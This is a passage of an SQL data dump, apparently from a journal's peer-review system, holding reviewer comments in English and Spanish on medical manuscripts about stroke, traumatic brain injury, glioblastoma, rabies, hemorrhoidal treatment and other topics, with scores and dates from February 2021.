journal.','','2021-02-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3109,13225,6375,NULL,'4','G','Y','Y','Y','The article entitled \"Challenges in diagnosis of ischaemic stroke: A descriptive study of stroke mimics and missed strokes\" is a research article which explain the rate and characteristics of stroke mimics (SM) and missed strokes (MS). And found that patients are younger, they present with less severe symptoms according to their initial NIHSS and their length of stay in hospital is shorter as opposed to ischaemic stroke patients. With proper tables the author explain it very nicely. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can publish.','The article entitled \"Challenges in diagnosis of ischaemic stroke: A descriptive study of stroke mimics and missed strokes\" is a research article which explain the rate and characteristics of stroke mimics (SM) and missed strokes (MS). And found that patients are younger, they present with less severe symptoms according to their initial NIHSS and their length of stay in hospital is shorter as opposed to ischaemic stroke patients. With proper tables the author explain it very nicely. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can publish.','2021-02-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3116,16051,7275,NULL,'1','D','N','M','Y','1. In Table 1, there are 308 individuals with 72 in normoxia and 236 in hyperoxia. The number of participants should be included in the abstract. Since the authors found no association between hyperoxia and unfavorable outcomes, the authors should determine sample size based on statistics. \r\n2. In Table 1, the P value is less than 0.05 in several variables such as creatinine, pH, isolated head injury and PRBC in transfusion, indicating the difference in clinical characteristics of both groups. The authors should provide stratified analysis based on these factors. \r\n3. In the “Parents and Settings” of “Methods” section, I don’t see a reason why “Parents” are involved. The authors did not give clear inclusion criteria of moderate and severe TBI. Since “severe” TBI patients were included, the authors should clarify the reasons to exclude patients with a GCS > 12. \r\n4. In “Study Design” of “Methods” section, the authors stated that “patients were categorized into in normoxia (PaO2 60-99mmHg) and hyeroxia (PaO2 >100mmHg) groups depending on their arterial blood gas (ABG) findings within 3 hours of intubation”. But in “Parents and Setting”, the author stated that “Patients were all intubated, on a mechanical ventilator with arterial blood gas (ABG) done within 20 minutes of being intubated and, repeated 3-6, 12-24, and 48 hours after intubation.” The authors should clarify the reasons for using PaO2 in ABG within 3 hours of intubation and examine whether the conclusion differs if the categorization of normoxia and hyperoxia groups was based on other time points. \r\n5. In the abstract, “The patients were divided into two categories: normoxia (PaO2 60-99mmHg) and hyeroxia (PaO2 >100mmHg).” The hyeroxia is misspelled.','Would not recommend this article. Too many spelling errors and poor statistics. ','2021-02-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3117,16051,6909,NULL,'4','g','Y','Y','Y','1. In the second paragraph of Page 3, the authors stated that “MGMT is an enzyme involved in DNA dealkylation and mediation of DNA damage, and is overexpressed in 60% of glioblastomas.” This sentence is not written clearly. As the authors stated, “MGMT encodes for a DNA repair enzyme that provides resistance to alkylating chemotherapies such as temozolomide (TMZ).” It should be clearly stated whether the existence of MGMT enzyme or the decreased expression of MGMT gene causes DNA damage. \r\n2. In Page 14, the authors stated, “Training set (80%) and Validation set (20%)”. The authors should describe how these two sets were split from “BraTS” dataset. ','','2021-02-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3126,16276,6849,NULL,'1','g','N','M','Y','The authors provide a clinical report of a family segregating Waardenburg syndrome type II. The pedigree they investigated is certainly of interest. However, without molecular-genetic study it only has a minor scientific value. If the authors cannot perform the genetic examination on their own, they should look for collaboration with a reliable DNA laboratory in their country or abroad.  ','Unfortunately, the manuscript is of poor quality. Therefore I recommend to reject it.  ','2021-02-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3133,11355,7063,NULL,'3','R','Y','Y','Y','The author reported a case with rhinoliquorhea, further examination revealing it caused by meningocele. The osteo-meningeal is not a rare disease. But the case report will definitely is a very helpful reference to the clinic. However, the manuscript is not very well written. the English expression is not very good. It is better to find a native speaker to edit it. The conclusion is not very clear, it needs to be improved. If some laboratory examination data could be provided that will be nice.','','2021-02-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3134,11355,7063,NULL,'3','R','Y','Y','Y','The author reported a case with rhinoliquorhea, further examination revealing it caused by meningocele. The osteo-meningeal is not a rare disease. But the case report will definitely is a very helpful reference to the clinic. However, the manuscript is not very well written. the English expression is not very good. It is better to find a native speaker to edit it. The conclusion is not very clear, it needs to be improved. If some laboratory examination data could be provided that will be nice.','','2021-02-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3140,15746,7069,NULL,'4','G','y','y','y','INFECCIONES POSTRANSPLANTE RENAL\r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, el autor revise los siguientes comentarios:\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo y debería acortarse.\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nSe requiere una sección clara del método utilizado, y sus limitaciones a la hora de valorar los resultados o conclusiones.\r\nHay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\nSi se trata de una revisión narrativa los autores deben aclarar las limitaciones de ese tipo de revisión.\r\nSi se trata de una revisión sistemática, los autores deben tener en cuenta que en una revisión sistemática deben incluir, al menos, los siguientes datos:\r\n-¿Qué bases de datos se utilizaron? ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n-Claridad acerca de las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa se relaciona con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados ( recomendaciones que se hacen con evidencia débil).\r\n-Debe existir algún sistema para reportar la calidad y fuerza de la recomendación, como el sistema GRADE (Indica hasta qué punto podemos confiar en que la estimación del efecto de la intervención es correcta y hasta qué punto podemos confiar en que la implementación de la recomendación traer más beneficios que riesgos).\r\n-Debe haber una determinación de la heterogeneidad.\r\n-Debe haber un análisis de subgrupos (a menudo es interesante examinar una categoría especial de participantes en la revisión (por ejemplo, mujeres, un grupo de edad o la gravedad de la enfermedad).\r\n- Debe de haber una determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto estudios publicados como no publicados para evitar incurrir en sesgos de selección).\r\nComo parece que se trata de una revisión narrativa, debido a sus sesgos, los resultados no dejan de ser una opinión de los autores; esto debe de aclararse para el lector.\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión”.\r\n-Referencias:\r\nLas referencias están escritas en diversos estilos, y contienen errores.Yo sugiero que las referencias bibliográficas se escriban usando el estilo Vancouver.\r\n','INFECCIONES POSTRANSPLANTE RENAL\r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, el autor revise los siguientes comentarios:\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo y debería acortarse.\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nSe requiere una sección clara del método utilizado, y sus limitaciones a la hora de valorar los resultados o conclusiones.\r\nHay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\nSi se trata de una revisión narrativa los autores deben aclarar las limitaciones de ese tipo de revisión.\r\nSi se trata de una revisión sistemática, los autores deben tener en cuenta que en una revisión sistemática deben incluir, al menos, los siguientes datos:\r\n-¿Qué bases de datos se utilizaron? ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n-Claridad acerca de las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa se relaciona con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados ( recomendaciones que se hacen con evidencia débil).\r\n-Debe existir algún sistema para reportar la calidad y fuerza de la recomendación, como el sistema GRADE (Indica hasta qué punto podemos confiar en que la estimación del efecto de la intervención es correcta y hasta qué punto podemos confiar en que la implementación de la recomendación traer más beneficios que riesgos).\r\n-Debe haber una determinación de la heterogeneidad.\r\n-Debe haber un análisis de subgrupos (a menudo es interesante examinar una categoría especial de participantes en la revisión (por ejemplo, mujeres, un grupo de edad o la gravedad de la enfermedad).\r\n- Debe de haber una determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto estudios publicados como no publicados para evitar incurrir en sesgos de selección).\r\nComo parece que se trata de una revisión narrativa, debido a sus sesgos, los resultados no dejan de ser una opinión de los autores; esto debe de aclararse para el lector.\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión”.\r\n-Referencias:\r\nLas referencias están escritas en diversos estilos, y contienen errores.Yo sugiero que las referencias bibliográficas se escriban usando el estilo Vancouver.\r\n','2021-02-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3147,12972,6875,NULL,'5','R','y','y','y','Have gone through the complete article & the research is done in a very well manner. there are some grammatical errors that will be taken care of by our proofreading team','Can proceed further','2021-02-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3148,13180,6875,NULL,'R','5','y','y','y','Research work is well described.','Can go further','2021-02-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3149,15975,7291,NULL,'5','g','y','y','y','thank you for letting me to review this manuscript. The manuscript is well organized and discussed about familiar topic \"Kinematic analysis of different spinal and hip regions during the performance of a sagittal object-lifting task in asymptomatic peoples\". The figures and tables are clearly labeled & explained. I would like to accept the manuscript without any corrections.','thank you for letting me to review this manuscript. The manuscript is well organized and discussed about familiar topic \"Kinematic analysis of different spinal and hip regions during the performance of a sagittal object-lifting task in asymptomatic peoples\". The figures and tables are clearly labeled & explained. I would like to accept the manuscript without any corrections.','2021-02-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3157,12022,7290,NULL,'4','G','y','y','y','Enfoque estratégico para la atención de la pandemia por Sars-CoV-2 en un hospital en Colombia\r\nFue un placer para mí revisar este manuscrito.\r\nFelicito a los autores.\r\nSin embargo, sugiero que, por favor, los autores revisen los siguientes comentarios:\r\n-Comentarios generales:\r\nEl artículo debe estar escrito de acuerdo con el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nEn mi opinión, los autores deben dejar claro qué método se utiliza en el artículo.\r\nPor lo tanto, debería haber una sección de \"Método\".\r\n¿Está basado en una reseña? ¿Que tipo?\r\n¿Es un punto de vista personal?\r\n¿Se basa en una búsqueda de información no sistemática u oportunista?\r\n¿Se basa en la experiencia del autor?\r\n¿Es un estudio cualitativo? Y en ese caso, ¿cómo se obtuvieron los datos, y qué métodos se usaron para analizar los datos y garantizar el rigor?\r\n-Resultados:\r\nAconsejo que los resultados se pongan en TABLAS y en el texto solo se comentan los resultados principales\r\n-Conclusión:\r\nEs importante en cualquier artículo científico señalar los problemas que, del presente ensayo o estudio, aún están pendientes de solución o aclaración.\r\nNo es posible concluir, dado el diseño del estudio, ninguna conclusión de causa-efecto entre las medidas de planificación y los resultados de atención médica.\r\n-Referencias:\r\nLas referencias son muy pobres. Aconsejo mejorarlas en cantidad y calidad sobre todo.\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n','Enfoque estratégico para la atención de la pandemia por Sars-CoV-2 en un hospital en Colombia\r\nFue un placer para mí revisar este manuscrito.\r\nFelicito a los autores.\r\nSin embargo, sugiero que, por favor, los autores revisen los siguientes comentarios:\r\n-Comentarios generales:\r\nEl artículo debe estar escrito de acuerdo con el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nEn mi opinión, los autores deben dejar claro qué método se utiliza en el artículo.\r\nPor lo tanto, debería haber una sección de \"Método\".\r\n¿Está basado en una reseña? ¿Que tipo?\r\n¿Es un punto de vista personal?\r\n¿Se basa en una búsqueda de información no sistemática u oportunista?\r\n¿Se basa en la experiencia del autor?\r\n¿Es un estudio cualitativo? Y en ese caso, ¿cómo se obtuvieron los datos, y qué métodos se usaron para analizar los datos y garantizar el rigor?\r\n-Resultados:\r\nAconsejo que los resultados se pongan en TABLAS y en el texto solo se comentan los resultados principales\r\n-Conclusión:\r\nEs importante en cualquier artículo científico señalar los problemas que, del presente ensayo o estudio, aún están pendientes de solución o aclaración.\r\nNo es posible concluir, dado el diseño del estudio, ninguna conclusión de causa-efecto entre las medidas de planificación y los resultados de atención médica.\r\n-Referencias:\r\nLas referencias son muy pobres. Aconsejo mejorarlas en cantidad y calidad sobre todo.\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n','2021-02-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3158,14805,7131,NULL,'5','d','N','N','N','This is interesting research and a good review. The authors did detailed literature research and I congrats the authors for the efforts. I\'m sure this work could be helpful for the scientific society  ','','2021-02-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3161,12022,7332,NULL,'3','D','N','Y','N','SÍNDROME METABÓLICO EN ADULTOS: CARACTERÍSTICAS CLÍNICO EPIDEMIOLÓGICAS Y SUS ALTERNATIVAS DIAGNOSTICAS Y TERAPÉUTICAS DISPONIBLES. UNA REVISION SISTEMATICA\r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, los autores revisen los siguientes comentarios:\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo y debería acortarse.\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nSe requiere una sección clara del método utilizado, y sus limitaciones a la hora de valorar los resultados o conclusiones.\r\nSi se trata de una revisión sistemática, los autores deben tener en cuenta que en una revisión sistemática deben incluir, al menos, los siguientes datos:\r\n-¿Qué bases de datos se utilizaron? ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n-Claridad acerca de las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa se relaciona con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados ( recomendaciones que se hacen con evidencia débil).\r\n-Debe existir algún sistema para reportar la calidad y fuerza de la recomendación, como el sistema GRADE (Indica hasta qué punto podemos confiar en que la estimación del efecto de la intervención es correcta y hasta qué punto podemos confiar en que la implementación de la recomendación traer más beneficios que riesgos).\r\n-Debe haber una determinación de la heterogeneidad.\r\n-Debe haber un análisis de subgrupos (a menudo es interesante examinar una categoría especial de participantes en la revisión (por ejemplo, mujeres, un grupo de edad o la gravedad de la enfermedad).\r\n- Debe de haber una determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto estudios publicados como no publicados para evitar incurrir en sesgos de selección).\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión”. Probablemente es conveniente construir TABLAS con los resultados y no repetirlos en el texto.\r\n\r\nMETABOLIC SYNDROME IN ADULTS: CLINICAL EPIDEMIOLOGICAL CHARACTERISTICS AND ITS DIAGNOSTIC AND THERAPEUTIC ALTERNATIVES AVAILABLE. A SYSTEMATIC REVIEW\r\nI have read this manuscript and I think it might be acceptable if various aspects are modified and clarified.\r\nIn any case, I congratulate the authors for their effort.\r\nI suggest that the authors please review the following comments:\r\n-General comments:\r\nIn my opinion, the article is excessively long and should be shortened.\r\nThe text must be written according to the format of a scientific article: Summary, Introduction, Methods and Results.\r\n-Method:\r\nA clear section of the method used and its limitations is required when assessing the results or conclusions.\r\nIf it is a systematic review, the authors should take into account that a systematic review should include, at least, the following data:\r\n-What databases were used? What scientific and methodological quality criteria were used to choose the articles included in the review?\r\n-Clarity about the methodological characteristics of the studies to be included or excluded (for example, include only randomized controlled trials).\r\n- Information on validity (internal validity: refers to the ability to avoid systematic errors or biases through the design and conduct of the study, while external validity is related to the applicability of the results to a specific population) and quality of the studies used (recommendations made with weak evidence).\r\n-There must be some system to report the quality and strength of the recommendation, such as the GRADE system (It indicates to what extent we can trust that the estimate of the effect of the intervention is correct and to what extent we can trust that the implementation of the recommendation bring more benefits than risks).\r\n-There must be a determination of heterogeneity.\r\n-There should be a subgroup analysis (often it is interesting to look at a special category of review participants (eg women, an age group or the severity of the disease).\r\n- There must be a determination of publication bias (the collection of information must be comprehensive; both published and unpublished studies to avoid incurring selection bias).\r\n-Results:\r\nA clear section of the “review” results is required. It is probably convenient to build TABLES with the results and not repeat them in the text.','SÍNDROME METABÓLICO EN ADULTOS: CARACTERÍSTICAS CLÍNICO EPIDEMIOLÓGICAS Y SUS ALTERNATIVAS DIAGNOSTICAS Y TERAPÉUTICAS DISPONIBLES. UNA REVISION SISTEMATICA\r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, los autores revisen los siguientes comentarios:\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo y debería acortarse.\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nSe requiere una sección clara del método utilizado, y sus limitaciones a la hora de valorar los resultados o conclusiones.\r\nSi se trata de una revisión sistemática, los autores deben tener en cuenta que en una revisión sistemática deben incluir, al menos, los siguientes datos:\r\n-¿Qué bases de datos se utilizaron? ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n-Claridad acerca de las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa se relaciona con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados ( recomendaciones que se hacen con evidencia débil).\r\n-Debe existir algún sistema para reportar la calidad y fuerza de la recomendación, como el sistema GRADE (Indica hasta qué punto podemos confiar en que la estimación del efecto de la intervención es correcta y hasta qué punto podemos confiar en que la implementación de la recomendación traer más beneficios que riesgos).\r\n-Debe haber una determinación de la heterogeneidad.\r\n-Debe haber un análisis de subgrupos (a menudo es interesante examinar una categoría especial de participantes en la revisión (por ejemplo, mujeres, un grupo de edad o la gravedad de la enfermedad).\r\n- Debe de haber una determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto estudios publicados como no publicados para evitar incurrir en sesgos de selección).\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión”. Probablemente es conveniente construir TABLAS con los resultados y no repetirlos en el texto.\r\n\r\nMETABOLIC SYNDROME IN ADULTS: CLINICAL EPIDEMIOLOGICAL CHARACTERISTICS AND ITS DIAGNOSTIC AND THERAPEUTIC ALTERNATIVES AVAILABLE. A SYSTEMATIC REVIEW\r\nI have read this manuscript and I think it might be acceptable if various aspects are modified and clarified.\r\nIn any case, I congratulate the authors for their effort.\r\nI suggest that the authors please review the following comments:\r\n-General comments:\r\nIn my opinion, the article is excessively long and should be shortened.\r\nThe text must be written according to the format of a scientific article: Summary, Introduction, Methods and Results.\r\n-Method:\r\nA clear section of the method used and its limitations is required when assessing the results or conclusions.\r\nIf it is a systematic review, the authors should take into account that a systematic review should include, at least, the following data:\r\n-What databases were used? What scientific and methodological quality criteria were used to choose the articles included in the review?\r\n-Clarity about the methodological characteristics of the studies to be included or excluded (for example, include only randomized controlled trials).\r\n- Information on validity (internal validity: refers to the ability to avoid systematic errors or biases through the design and conduct of the study, while external validity is related to the applicability of the results to a specific population) and quality of the studies used (recommendations made with weak evidence).\r\n-There must be some system to report the quality and strength of the recommendation, such as the GRADE system (It indicates to what extent we can trust that the estimate of the effect of the intervention is correct and to what extent we can trust that the implementation of the recommendation bring more benefits than risks).\r\n-There must be a determination of heterogeneity.\r\n-There should be a subgroup analysis (often it is interesting to look at a special category of review participants (eg women, an age group or the severity of the disease).\r\n- There must be a determination of publication bias (the collection of information must be comprehensive; both published and unpublished studies to avoid incurring selection bias).\r\n-Results:\r\nA clear section of the “review” results is required. It is probably convenient to build TABLES with the results and not repeat them in the text.','2021-02-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3166,15586,6800,NULL,'1','R','N','N','N','The topic is not convincing. I do not think it matches the journal scope. In addition, most materials presented are not supported by references, just opinions.','Sorry to reject.','2021-02-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3172,9531,7189,NULL,'2','R','Y','Y','Y','Dear Author,\r\n\r\nThis is an interesting article where landfills and municipal waste dumping grounds are associated to a communicable zoonosis that spreads among canine species and has potential to spread to humans. Some discrepancies are present.\r\n\r\n1) Cookery or former foods? DO you mean discarded food or rotten food?\r\n2) \'increased dog population can spot awareness gaps which can influence bar practices plus lead to needless deaths\' of who and which context? The opinions are hanging and therefore, the sentences appear incomplete.\r\n3) \'Open garbage dumps are a public health obstacle in the Srinagar area and they commence to stray dogs proliferation\' This sentence makes no sense. What is the evidence of co-inhabitance by dogs and humans and the resultant prevalence of rabies as zoonosis?\r\n4) Choice of keywords: should be words not used in title so that readers can search for the work in a pile of scholarly produce.\r\n5) 20 households and 48 respondents who answered survey questions is irrelevant to the outcome. Firstly, the sample size is small and the demographic scrutiny is difficult to group. Secondly, opinions by 48 respondents are easily challenged by personal or aggravated opinions.\r\n6) The method section lacks sample size estimation, questions validation, questionnaire structure and limitations as well as participant consents.\r\n7) I accept the findings but, I cannot accept the discussions. Srinagar comprises of two municipals, the urban and sub-urban which are then sub divided into slums and residential. Now, the presence and contact of canine species in garbage dumping grounds is not a direct mechanism for rabies transmission. Unless, the disease is readily occurring and the number of infected are rising. Unfortunately, the case study is built on aggravated opinion which means, the author is trying to associate rabies to stray dogs rather than building a case on number of infected, swabbing the dogs and using the findings to establish the point source. I do not see zoonotic mentions nor transmission routes for rabies pathogen which means, this work is based on assumption since there were some cases that involved municipal dumping grounds. ','Dear Editor,\r\n\r\nThe idea in this article is good but, due to inability of authors to associate the pathogen, point source, vector and prevalence, this article falls short of evidence and originality. Therefore, there is no need to continue the production of this article as the scientific output is not sound.','2021-02-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3173,13225,7034,NULL,'4','G','Y','Y','Y','The article entitled \"Horner’s Syndrome due to a Spontaneous Internal Carotid Artery Dissection treated with Casper Stent\" is a case report which explain association with intrinsic vessel structure has been reported in connective tissue disease, pregnancy and the postpartum period, and in infectious and inflammatory disease. And found that horner syndrome occurs after the placement of carotid stents in the treatment of atheromatous plaque stenosis, due to the distention of the artery walls irritating the fibers of the sympathetic system. With proper figures the author explain it very nicely. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can publish.','The article entitled \"Horner’s Syndrome due to a Spontaneous Internal Carotid Artery Dissection treated with Casper Stent\" is a case report which explain association with intrinsic vessel structure has been reported in connective tissue disease, pregnancy and the postpartum period, and in infectious and inflammatory disease. And found that horner syndrome occurs after the placement of carotid stents in the treatment of atheromatous plaque stenosis, due to the distention of the artery walls irritating the fibers of the sympathetic system. With proper figures the author explain it very nicely. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can publish.','2021-02-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3184,10967,7424,NULL,'5','G','Y','Y','Y','Good','Accept','2021-02-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3187,15676,7395,NULL,'5','G','D','Y','Y','Good paper','Accepted to publish','2021-02-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3190,13225,7060,NULL,'4','G','Y','Y','Y','The article entitled \"The Relationship Between Serum Uric Acid Level and Ischemic Stroke and Its Subtypes\" is a research article which explain the relationship between UA and acute ischemic stroke and subtypes. And found that high UA levels were seen as an independent risk factor for stroke. Determination of UA as an etiological factor responsible for the pathogenesis of vascular diseases including stroke may also bring the treatment of hyperuricemia such as hyperlipidemia or hypertension, which are routinely treated after stroke. With proper tables the author explain it very nicely. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can publish.','The article entitled \"The Relationship Between Serum Uric Acid Level and Ischemic Stroke and Its Subtypes\" is a research article which explain the relationship between UA and acute ischemic stroke and subtypes. And found that high UA levels were seen as an independent risk factor for stroke. Determination of UA as an etiological factor responsible for the pathogenesis of vascular diseases including stroke may also bring the treatment of hyperuricemia such as hyperlipidemia or hypertension, which are routinely treated after stroke. With proper tables the author explain it very nicely. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can publish.\r\n','2021-02-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3195,10963,7424,NULL,'5','G','Y','Y','N','The authors evaluate the effect and tolerability of a 100% natural topical ointment made of substances in symptomatic hemorrhoidal disease (HD) treatment. A clinical follow-up evaluated the effect of a CE marked class IIb MDMS in reducing symptoms and signs of HD and the tolerability of treatment. In more than 50% of patients studied there was at least one episode of bleeding in the days immediately prior to enrollment. Patients had to apply the MDMS (tube of 40 ml with endorectal applicator) two times a day for 10 days and before and after each defecation. A significant reduction of patients positive for bleeding and anal leakage was observed with treatment and reductions were progressive over the 10-day course of treatment. A significant reduction of discomfort and all other symptoms was found in treated patients. The study has the limit of being uncontrolled by various factors that may determine a favorable disease process. The authors indicate that MDMS allows to create an adherent layer on the surface of the epithelium with different levels of protection. A first order of protection comes from the lubricating and moistening features of the product that helps to maintain the mucosa and the perianal skin hydrated. The authors indicate that the class IIb medical device is a valid, highly tolerated and safe therapeutic option in medical management of grade I and II HD.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n','','2021-02-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3197,5467,7426,NULL,'4','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per 